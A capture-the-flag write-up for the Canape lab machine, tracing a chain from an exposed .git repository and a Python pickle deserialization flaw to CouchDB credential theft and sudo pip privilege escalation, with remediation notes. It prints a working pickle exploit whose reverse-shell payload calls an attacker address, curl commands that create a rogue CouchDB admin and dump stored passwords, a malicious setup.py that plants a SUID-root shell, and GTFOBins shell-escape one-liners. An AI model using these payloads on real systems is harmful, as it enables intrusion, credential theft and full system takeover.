Canape
Summary
Reconnaissance against $TARGET revealed Apache 2.4.29 on port 80 with an exposed .git directory that disclosed the full Flask application source code hosted at git.canape.htb. Reviewing that source uncovered a Python cPickle deserialization sink in the /submit endpoint — a class of vulnerability that permits arbitrary code execution with no safe input subset.
A crafted pickle payload delivered over HTTP triggered a reverse shell as the web service user. From that foothold, a locally-bound CouchDB instance running in its default admin-party state — no administrator configured — allowed an unauthenticated HTTP request to register a rogue admin account and dump a passwords database containing plaintext OS credentials.
Those credentials unlocked SSH access on the non-standard port 65535 as user homer. A sudo rule granting homer unrestricted use of /usr/bin/pip install as root was then exploited: a malicious Python package whose setup.py invoked os.system() was installed, executing as root and yielding the root flag plus a persistent SUID-root shell — full system compromise.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"Attack path — how the box was taken
Exact commands 4
nmap -sV -Pn -p 80,5984,65535 $TARGETcurl -si http://$TARGET/.git/HEADecho "$TARGET canape.htb git.canape.htb" | sudo tee -a /etc/hostsgit clone --depth 1 http://git.canape.htb/simpsons.git canape-simpsonsFixRemove the .git directory from the public web rootHigh
Exact commands 1
grep -n 'pickle\|cPickle\|md5\|hashlib\|submit\|check' canape-simpsons/__init__.pyFixReplace Python cPickle deserialization of user-influenced data with a safe data formatCritical
Exact commands 4
nc -lvnp 4444python2 exploit.py# exploit.py
# import cPickle, os, base64, hashlib, requests
# $ATTACKER_IP = "$ATTACKER_IP"
# APP_SECRET = '<key-from-source>'
# class E(object):
# def __reduce__(self):
# return (os.system, ('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc '+$ATTACKER_IP+' 4444 >/tmp/f',))
# p = base64.b64encode(cPickle.dumps(E()))
# c = 'Homer'
# sig = hashlib.md5(c + p).hexdigest()
# r = requests.post('http://canape.htb/submit', data={'character':c,'quote':p,'id':sig})
# print r.textcurl -s 'http://canape.htb/check' -d 'id=<submission-id>'Exact commands 3
curl -s http://127.0.0.1:5984/curl -s http://127.0.0.1:5984/_all_dbscurl -s -X PUT http://127.0.0.1:5984/_users/org.couchdb.user:adm -H 'Content-Type: application/json' -d '{"type":"user","name":"adm","roles":["_admin"],"password":"[REDACTED: recovered credential]"}'FixConfigure a CouchDB administrator at installation and disable the admin-party defaultCritical
Exact commands 2
curl -s -u adm:[REDACTED: recovered credential] 'http://127.0.0.1:5984/_all_dbs'curl -s -u adm:[REDACTED: recovered credential] 'http://127.0.0.1:5984/passwords/_all_docs?include_docs=true'FixStop storing credentials in plaintext; replace with a secrets-management systemCritical
Exact commands 2
ssh -p 65535 homer@$TARGETcat /home/homer/user.txtExact commands 5
sudo -lD=$(mktemp -d) && printf 'from setuptools import setup\nimport os\nos.system("cp /root/root.txt /tmp/.rflag && chmod 644 /tmp/.rflag && chmod u+s /bin/bash")\nsetup(name="y",version="1.0")\n' > "$D/setup.py"sudo /usr/bin/pip install "$D"cat /tmp/.rflag/bin/bash -pFixRemove the unrestricted sudo pip install privilege from homerCritical
Attack patterns used
The transferable techniques behind this compromise.
Insecure DeserializationWeb · Service RCET1190
What it is
Applications that deserialize externally controlled data (Java, .NET, PHP, Python pickle) can be driven to instantiate 'gadget chains' — sequences of existing classes whose side effects during deserialization culminate in code execution. ysoserial/ysoserial.net generate the payloads; ViewState and Java RMI/JMX are common entry points.
Why it works
Deserializers reconstruct arbitrary object graphs and invoke magic methods on untrusted input. Remediate by avoiding native deserialization of untrusted data, using signed/encrypted state, and enforcing strict type allow-lists.
Read more
Sudo Misconfiguration (GTFOBins)Linux · Privilege EscalationT1548.003
What it is
When a low-privileged user is allowed (via sudo -l) to run a specific binary as root, many binaries can be coerced into spawning a root shell or reading root-owned files. GTFOBins catalogs the escape for each binary — e.g. sudo perl -e 'exec "/bin/sh"', sudo vim -c ':!sh', sudo find . -exec /bin/sh \;.
Why it works
Admins grant narrow sudo rights assuming the binary is 'safe', but interpreters, editors, and many utilities have shell-out features. Remediate by avoiding sudo rules on interpreter-class binaries, using NOEXEC, and least-privilege review. Always run sudo -l first on a foothold.
Read more
SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001
What it is
Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.
Why it works
SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.
Read more
Exposed services
| 80/tcp | http Apache httpd 2.4.29 ((Ubuntu)) |
| 65535/tcp | ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0) |